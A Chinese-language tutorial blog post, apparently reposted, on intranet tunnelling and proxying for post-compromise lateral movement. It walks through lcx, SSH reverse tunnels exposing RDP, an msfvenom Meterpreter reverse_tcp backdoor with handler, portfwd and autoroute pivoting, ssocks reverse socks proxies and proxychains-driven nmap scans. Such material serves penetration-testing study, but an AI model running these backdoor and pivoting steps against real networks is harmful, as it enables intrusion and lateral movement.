首页 > 其他分享 >内网隧道代理技术

内网隧道代理技术

时间:2024-08-06 15:50:00浏览次数:12  
标签:隧道 端口 代理 192.168 技术 转发 端口映射

隧道的概念

隧道通常指的是在一个网络连接上创建一个加密的数据通道
隧道技术是一种通过使用互联网络的基础设施在网络之间传递数据的方式。使用隧道传递的数据(或负载)可以是不同协议的数据帧或包,隧道协议将这些其他协议的数据帧或包重新封装在新的包头中发送,新的包头提供了路由信息,从而使封装的负载数据能够通过互联网络传递,被封装的数据包在隧道的两个端点之间通过公共互联网络进行路由,被封装的数据包在公共互联网络上传递时所经过的逻辑路径称为隧道。一旦到达网络终点,数据将被解包并转发到最终目的地。
隧道技术是指包括数据封装、传输和解包在内的全过程

代理的概念

服务端处理socks、http(s)等协议请求时,将请求数据包和响应数据包进行转发,担任中间人的角色,可以搭建链路访问内部网络或原本无法访问的站点

代理和隧道技术的区别

代理主要解决网络访问通讯问题,还可以隐藏本地IP,隧道技术解决在网络中的流量加密传输等

隧道代理技术的应用

在内网渗透中,当我们拿下了某台边界主机,要对边界主机整个内网进行渗透时,首先要在被控主机内网进行信息收集,但是被控制的主机中没有趁手工具对内网进行探测,而我们在家或者在公司的电脑空有工具却无法访问被控主机内网,怎么办?这个时候我们就要像现实生活中一样,建立一个通道,一条直通被控主机内网中的通道,使得我们在办公网络中的电脑能直接访问到被控主机内网中,而这个通道称为隧道,我们本地需要通过代理到搭建的隧道来访问被控主机内网,这整个过程称为隧道代理技术
我们通过边界主机进入内网,往往会利用它当跳板进行横向渗透,但现在的内部网络大多部署了很多安全设备,网络结构更是错综复杂,对于某些系统的访问会受到各种阻挠,这就需要借助代理去突破这些限制,因此面对不同的网络环境对于代理的选择及使用显得格外重要

隧道的分类

关于隧道的分类大体可以从两个方面进行分类

从流量层分类

应⽤层:HTTP、SOCKS、DNS、SSH
传输层:TCP、UDP
⽹络层:ICMP、IPV6

从作用上分类

端口转发(LCX SSH iptables telnet)
端口映射(LCX NPS FRP)
正向代理(EW NPS FRP)
反向代理(EW NPS FRP)

Http代理和Socks代理(隧道)

我们在内网渗透的时候,大多数用到的代理就是http和socks
Http代理用的是Http协议,工作在应用层,主要是用来代理浏览器访问网页
Socks代理用的是Socks协议,工作在会话层,可以用来传递所有流量的数据包
socks 代理又分为 Socks4 和 Sock5,Socks4只支持TCP,而 Socks5 支持 TCP 和 UDP 并且支持数据加密传输

端口转发和端口映射

端口转发,有时被称为做隧道,是安全壳(SSH)为网络安全通信使用的一种方法简单来说,端口转发就是将一个端口收到的流量转发到另一个端口.攻击者往往利用端口转发来进入内网对某个特定的服务进行攻击,或者是为了绕过本地防火墙的策略(比如:3389端口不出网,我们可以将其转发至出网的53端口)
端口映射是 NAT 的一种,功能是把在公网的地址转成私有地址。简单来说,端口映射就是将一个端口映射到另一个端口供其他人使用
端口映射就是将内网中的主机的一个端口映射到外网主机的一个端口,提供相应的服务

端口转发工具

LCX

LCX 是一款 Socket 基于端口转发工具,有 Windows 版和 Linux 版,其中 Linux 版名为 PortMap,lcx是国内最早开发的隧道工具,不过现在已经停止维护了
LCX 有端口映射和端口转发两大功能,例如当目标的某个端口只对内网开放,可以使用端口映射将只对内网开放的端口映射到目标的其他端口使用;当目标处于内网或目标配置的策略(Windows系统防火墙或者是Linux系统的iptables)只允许访问固定某一端口时,可以通过端口转发突破限制
Windows版的LCX基础用法:

# 端口转发:正向代理
lcx.exe -listen <目标端口><监听端口>
lcx.exe -slave <攻击机IP><监听端口><目标IP><目标端口>
# 注:listen和slave需成对使用
# 端口映射:反向代理
lcx.exe -tran<等待连接的端口><目标IP><目标端口>

Linux版的LCX基础用法:

 -v: version 软件版本
 -h1: host1 监听的内网地址
 -h2: host2 转发的公网地址
 -p1: port1 内网服务端口
 -p2: port2 转发到的公网端口
 -log: 指定连接日志保存文件,默认输出到屏幕
 -m: 指定使用方法
     1:同Windows的lcx -tran
     2:同Windows的lcx中的-listen
     3:同Windows的lcx -slave

SSH

SSH通过网络远程访问主机提供保护,可以对客户端和服务端之间的数据传输进行压缩和加密,有身份验证、SCP、SFTP、和端口转发的功能
SSH转发常用的参数介绍:

C 请求压缩所有数据
-D 动态转发,即socks代理
-f 后台执行SSH指令
-g 允许远程主机连接主机的转发端口
-L 本地转发
-N 不执行远程命令,处于等待状态
-R 远程转发
正向连接:
ssh –CNfL 0.0.0.0:7777:10.10.10.128:80 [email protected]  
ssh –CNfL <listen ip> <listen posrt> :<remote ip>:<remote port> WebServerUser(跳板机用户)@<ssh server> -p <ssh server port>  


反向隧道:

web服务器执行以下命令:
ssh –qTfnN –R 2222:127.0.0.1:22  [email protected]    
ssh -qTfnN -R port:host:hostport  remoteuser@remote\_ip //将本地端口映射到攻击者的端口,执行之后需要输入remoteuser的密码 
 攻击者执行以下命令:  
(注意要开启ssh服务,开启后执行以下操作)
ssh –p 2222 [email protected]  \# 命令解析:连接端口


反向隧道类似于反弹shell,将web服务器的ssh端口映射,对于Windows服务器可以映射3389端口(RDP)

ssh -CfNg -R 11111:192.168.160.139:3389 [email protected]

kali上通过rdesktop连接本地的11111端口

rdesktop 127.0.0.1:11111

MSF端口映射

使用msf来完成正向连接和反向连接,原理都是一样的,拓扑还是之前的,不过这次web服务器是一个winserver
首先去拿shell
使用msf生成后门

msfvenom  -p windows/meterpreter/reverse\_tcp lhost=192.168.0.115  lport=12345 -f exe >/var/www/html/ss.exe

kali监听对应端口

use exploit/multi/handler  
set payload  windows/meterpreter/reverse\_tcp  
set lhost 192.168.0.115  
set lport 12345  
exploit

端口映射

在winserver执行exe文件后拿到shell,在meterpreter中执行命令映射端口

portfwd add -L 192.168.0.115 -l 2020 -r 10.10.10.128 -p 80   
  
\-L localhost  
\-l localport  
\-r remote ip  
\-p remote port


直接将数据库服务器的80端口映射到了kali的2020端口,直接浏览器访问 http://192.168.0.115:2020 端口即可

转发端口

\# meterpreter  
portfwd add -l 5555 -p 3389 -r 192.168.0.144  
\-l localport  
\-r remote ip  
\-p remote port  
rdesktop 127.1.1.0:5555

其他命令

查看列表

portfwd list

清空列表

portfwd flush

Socket隧道

拓扑

ssocks

sSocks是一个socks代理工具套装,可用来开启socks代理服务,web服务器和kali都需要安装这款工具才能使用
下载之后进行编译,可以选择先下载到kali编译之后上传到web服务器,也可以直接在web服务器下载编译

反向代理

将远程计算机作为socks代理服务端,反弹回本地,方便内网的渗透测试

1.建立隧道

kali端:

./rcsocks -l 1088 -p 1080 -vv  
  
\-vv 获取详细信息  
等待远程Socks5服务器访问本地1080端口,创建端口1080与本地端口1088的连接通道,将本地的1088端口的流量转发到1080端口

web服务器端:

./rssocks -vv -s 192.168.179.128:1080  
#接收192.168.179.128:1080端口的流量

输入命令后通道就建立完毕了

2.开启代理

proxychains代理链是Linux下一款代理设置工具,kali中默认安装,ubuntu需要使用命令​​apt-get install proxychains​​安装
kali端修改配置文件:

/etc/proxychains.conf

注释socks4添加socks5(注意是socks5下图有误)

测试

proxychains ssh 127.0.0.1

输入密码连接后,成功连接ssh,查看本机ip
使用firefox

proxychains firefox 10.0.0.2

正向代理

web服务器如下命令创建代理并监听自己的IP

./ssocksd --bind 192.168.179.147 --port 6020

在攻击主机编辑proxychains代理配置文件,添加代理配置信息:socks5 192.168.179.147 6020

vi /etc/proxychains.conf

执行如下命令,连接内网服务器,查看ip得知代理成功。

1proxychains ssh 127.0.0.1

扫描内网

用kali里边的nmap扫描

proxychains nmap -Pn -sT 10.0.0.2

MSF跨路由扫描


在Kali生成后门文件

msfvenom  -p windows/meterpreter/reverse\_tcp lhost=192.168.179.128  lport=12345 -f exe >/var/www/html/s.exe

生成完毕,通过webshell将文件上传至win服务器
kali进入msf,开启监听

use exploit/multi/handler  
set payload  windows/meterpreter/reverse\_tcp  
set lhost 192.168.179.128  
set lport 12345  
exploit

等win服务器那边点击了exe文件,这边就上线了

简单收集信息

查看当前用户

getuid

查看网卡信息

ifconfig

查看路由信息

run get\_local\_subnets
run autoroute -p

发现没有路由,接下来使用命令添加路由

增加路由

run autoroute -s 10.0.0.0/24  
run autoroute -p

这样的话就添加了一条路由,但是仅这样是不行的,还有添加代理
background 之后使用 socks4a 模块

use auxiliary/server/socks4a  
set SRVPORT 10044

修改配置文件,注释掉原来的,添加一条新的

vi /etc/prxoychains.conf
socks4 192.168.179.128 10044

这样的话路由就添加完成了
可以使用nmap对10.0.0.2进行端口扫描

proxychains nmap -sT -Pn 10.0.0.2

也可以用hydra进行密码爆破

转自:https://blog.csdn.net/wholeliubei/article/details/139525760

标签:隧道,端口,代理,192.168,技术,转发,端口映射
From: https://www.cnblogs.com/m0userathxy/p/18342479

相关文章

  • 【技术分享】解决CANoe软件Trace窗口筛选栏空白问题
    引言在汽车电子开发领域,Vector公司提供的CANoe、CANape和CANalyzer软件是我们不可或缺的工具。然而,近期一些用户在更新了Windows系统后,遇到了Trace窗口筛选栏变白的问题。本文将分享一个实用的解决方案,帮助您快速恢复软件功能。问题描述7月11日,Windows系统推送了新的更新。......
  • 【技术积累】如何处理Feign的超时问题
    在使用Feign进行微服务之间的通信时,由于网络延迟等原因,可能会出现请求超时的情况。为了解决这个问题,我们可以对Feign进行配置,设置超时时间。配置Feign的超时时间在使用Feign时,我们可以通过配置来设置请求的超时时间。具体地,我们可以在应用程序的配置文件中添加以下属性:feign.c......
  • 从零开始学嵌入式技术之C语言11:指针
    一:指针的理解(1)变量的访问方式        内存是电脑上特别重要的存储器,计算机中程序的运行都是在内存中进行的 ,为了有效的使用内存,就把内存划分成一个个小的内存单元,每个内存单元通常占用1个字节。变量在内存中分配空间,不同类型的变量占用不同大小的空间,那如何访问内......
  • 国外技术移民 All In One
    国外技术移民AllInOnedifficulty:Hard/难度:难技术移民要求...移民签证https://china.usembassy-china.org.cn/zh/visas-zh/immigrant-visas-zh/demosUSAUnitedStatesCitizenshipandImmigrationServices/美國公民及移民服務局https://www.uscis.gov/......
  • Function Calling + LangChain 拉通业务系统的技术架构
    近年来,大型语言模型(LLMs)如GPT-4的发展极大地推动了自然语言处理(NLP)领域的进步。这些模型在内容生成、语言翻译和对话系统等多个应用中展示了其强大的能力。然而,传统语言模型的局限性在于它们只能进行语言生成,无法与外部系统、API或自定义函数进行交互。本文将介绍如何通过Fu......
  • 《从技术洞察到技术规划赋能培训》(2024年9月6-7日)
    【课程背景】所谓技术洞察,简称(TI,TechnologyInsight),是根据市场发展趋势和客户需求,以及技术的生命周期,对某项技术发展趋势进行判断和预测,并明确未来3~5年的技术战略和战略控制点、重大的技术投资方向,完成技术战略规划的制订,并最终进行技术战略解码,为公司整体战略创造价值。技术......
  • [稳定检索|投稿优惠]2024年航空技术与机电工程国际会议(ATME 2024)
    2024年航空技术与机电工程国际会议2024InternationalConferenceonAerospaceTechnologyandMechanicalandElectricalEngineering【1】大会信息会议名称:2024年航空技术与机电工程国际会议会议简称:ATME2024大会时间:请查看官网大会地点:中国·贵阳截稿时间:请查看官......
  • 数字人客服:让人机互动更加自然、智能的新技术!
    随着科技的不断发展,数字人客服已经成为了一种让人机互动更加自然、智能的新技术。数字人客服是一种基于人工智能技术的虚拟客服,它能够通过自然语言处理、语音识别、机器学习等技术,实现与用户的自然、智能的交互。数字人客服的主要特点包括:1、自然语言处理:数字人客服能够理......
  • “码农接单坊”:构建全球程序员与技术需求的桥梁
    摘要在数字化时代,技术项目的高效实施与创新发展离不开高效的人才匹配与资源对接。本文深入探讨了“码农接单坊”这一专业的程序员在线接单与服务交流平台,通过分析其目标客户、平台定位、技术架构、核心功能及优势,揭示了其在连接全球程序员精英与项目需求方中的重要作用。同时,......
  • Linux Docker使用代理
    面对dockerpull下载速度过慢,甚至根本无法正常下载的问题,下面介绍三种方法解决Docker联网的问题。内容转载自:https://note.qidong.name/2020/05/docker-proxy/有所修改通常的在终端中设置http_proxy的环境变量不能代理dockerpull的流量,原因在于docker的流量是systemd管理的,......